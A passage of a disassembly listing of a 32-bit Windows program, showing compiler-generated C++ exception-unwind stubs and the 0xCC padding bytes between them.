		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-40h]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43C9D4:				; DATA XREF: ___:00426EC2o
		mov	eax, offset dword_442968
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		db 32h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_4014CE

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_427740	proc near		; DATA XREF: sub_427740+2o
		mov	eax, offset dword_442A48
		jmp	sub_437AB8
SEH_427740	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_427800	proc near		; DATA XREF: sub_427800+2o
		mov	eax, offset dword_442A78
		jmp	sub_437AB8
SEH_427800	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_40204F
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 11h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 26h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3Bh
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 64h
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_427B00	proc near		; DATA XREF: sub_427B00+2o
		mov	eax, offset dword_442AA8
		jmp	sub_437AB8
SEH_427B00	endp

; ---------------------------------------------------------------------------
		db 12h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_40204F
; ---------------------------------------------------------------------------


loc_43CAA8:				; DATA XREF: ___:00442B24o
		mov	ecx, [ebp-10h]
		add	ecx, 11h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 26h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3Bh
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 64h
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_427BA0	proc near		; DATA XREF: sub_427BA0+2o
		mov	eax, offset dword_442AF8
		jmp	sub_437AB8
SEH_427BA0	endp

; ---------------------------------------------------------------------------
		db 12h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_4014CE

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_427C90	proc near		; DATA XREF: sub_427C90+2o
		mov	eax, offset dword_442B48
		jmp	sub_437AB8
SEH_427C90	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_427D50	proc near		; DATA XREF: sub_427D50+2o
		mov	eax, offset dword_442B78
		jmp	sub_437AB8
SEH_427D50	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_4014CE

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4281A0	proc near		; DATA XREF: sub_4281A0+2o
		mov	eax, offset dword_442BA8
		jmp	sub_437AB8
SEH_4281A0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_428260	proc near		; DATA XREF: sub_428260+2o
		mov	eax, offset dword_442BD8
		jmp	sub_437AB8
SEH_428260	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_4014CE

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_428880	proc near		; DATA XREF: sub_428880+2o
		mov	eax, offset dword_442C08
		jmp	sub_437AB8
SEH_428880	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_428940	proc near		; DATA XREF: sub_428940+2o
		mov	eax, offset dword_442C38
		jmp	sub_437AB8
SEH_428940	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_4017A8

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4290B0	proc near		; DATA XREF: sub_4290B0+2o
		mov	eax, offset dword_442C68
		jmp	sub_437AB8
SEH_4290B0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_40204F
; ---------------------------------------------------------------------------


loc_43CBD8:				; DATA XREF: ___:00442CC4o
		mov	ecx, [ebp-10h]
		add	ecx, 11h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 26h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 43h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 58h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 6Dh
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_429290	proc near		; DATA XREF: sub_429290+2o
		mov	eax, offset dword_442C98
		jmp	sub_437AB8
SEH_429290	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_40204F
; ---------------------------------------------------------------------------


loc_43CC38:				; DATA XREF: ___:00442D1Co
		mov	ecx, [ebp-10h]
		add	ecx, 11h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 26h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 43h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 58h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 6Dh
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_429350	proc near		; DATA XREF: sub_429350+2o
		mov	eax, offset dword_442CF0
		jmp	sub_437AB8
SEH_429350	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		jmp	sub_4017A8
; ---------------------------------------------------------------------------


loc_43CC98:				; DATA XREF: ___:00442D74o
		mov	ecx, [ebp-28h]
		add	ecx, 0A1h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_429450	proc near		; DATA XREF: sub_429450+2o
		mov	eax, offset dword_442D48
		jmp	sub_437AB8
SEH_429450	endp

; ---------------------------------------------------------------------------
		db 18h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-53ECh]
		jmp	sub_4014BA
; ---------------------------------------------------------------------------


loc_43CCDB:				; DATA XREF: ___:00442DB4o
		lea	ecx, [ebp-5490h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5474h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5274h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-528Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-525Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-537Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5334h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-522Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5304h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5244h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-52D4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-545Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5444h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-541Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5404h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-52A4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5364h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-534Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-531Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-52ECh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-52BCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43CDC2:				; DATA XREF: ___:00429518o
		mov	eax, offset dword_442D88
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		db 44h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_4017A8

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42AC10	proc near		; DATA XREF: sub_42AC10+2o
		mov	eax, offset dword_442E70
		jmp	sub_437AB8
SEH_42AC10	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	eax, [ebp-10h]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42AC80	proc near		; DATA XREF: sub_42AC80+2o
		mov	eax, offset dword_442EA0
		jmp	sub_437AB8
SEH_42AC80	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_4017A8

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42AFF0	proc near		; DATA XREF: sub_42AFF0+2o
		mov	eax, offset dword_442ED0
		jmp	sub_437AB8
SEH_42AFF0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_4017A8

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42B380	proc near		; DATA XREF: sub_42B380+2o
		mov	eax, offset dword_442F00
		jmp	sub_437AB8
SEH_42B380	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	eax, [ebp-30h]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42B440	proc near		; DATA XREF: sub_42B440+8o
		mov	eax, offset dword_442F30
		jmp	sub_437AB8
SEH_42B440	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42C1B0	proc near		; DATA XREF: sub_42C1B0+5o
		mov	eax, offset dword_442F60
		jmp	sub_437AB8
SEH_42C1B0	endp

; ---------------------------------------------------------------------------
		align 10h


loc_43CEC0:				; DATA XREF: ___:0042C2C5o
		mov	eax, offset dword_442FC0
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+20h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43CED8:				; DATA XREF: ___:0044304Co
		lea	ecx, [ebp+8]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-1A0h]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42C350	proc near		; DATA XREF: sub_42C350+2o
		mov	eax, offset dword_443020
		jmp	sub_437AB8
SEH_42C350	endp

; ---------------------------------------------------------------------------
		db 18h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42C530	proc near		; DATA XREF: sub_42C530+2o
		mov	eax, offset dword_443060
		jmp	sub_437AB8
SEH_42C530	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_4017A8
; ---------------------------------------------------------------------------


loc_43CF38:				; DATA XREF: ___:0042C5D2o
		mov	eax, offset dword_443090
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_4017A8

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42C770	proc near		; DATA XREF: sub_42C770+2o
		mov	eax, offset dword_4430C0
		jmp	sub_437AB8
SEH_42C770	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_4017A8
; ---------------------------------------------------------------------------
		mov	eax, offset dword_4430F0
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		align 10h
		mov	eax, [ebp-30h]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42CB70	proc near		; DATA XREF: sub_42CB70+8o
		mov	eax, offset dword_443120
		jmp	sub_437AB8
SEH_42CB70	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42CE60	proc near		; DATA XREF: sub_42CE60+2o
		mov	eax, offset dword_443150
		jmp	sub_437AB8
SEH_42CE60	endp

; ---------------------------------------------------------------------------
		db 16h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	eax, [ebp+4]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp+4]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp+4]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp+4]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-74h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-70h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43D0B4:				; DATA XREF: ___:0042D158o
		mov	eax, offset dword_4431A8
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		db 32h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_435AA0	proc near		; DATA XREF: sub_435AA0+2o
		mov	eax, offset dword_443290
		jmp	sub_437AB8
SEH_435AA0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-168Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43D11B:				; DATA XREF: ___:004432F4o
		lea	ecx, [ebp-16A4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43D126:				; DATA XREF: ___:00435B98o
		mov	eax, offset dword_4432C8
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4364D0	proc near		; DATA XREF: sub_4364D0+2o
		mov	eax, offset dword_443300
		jmp	sub_437AB8
SEH_4364D0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4368D0	proc near		; DATA XREF: sub_4368D0+2o
		mov	eax, offset dword_443330
		jmp	sub_437AB8
SEH_4368D0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4369E0	proc near		; DATA XREF: sub_4369E0+8o
		mov	eax, offset dword_443368
		jmp	sub_437AB8
SEH_4369E0	endp

; ---------------------------------------------------------------------------
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
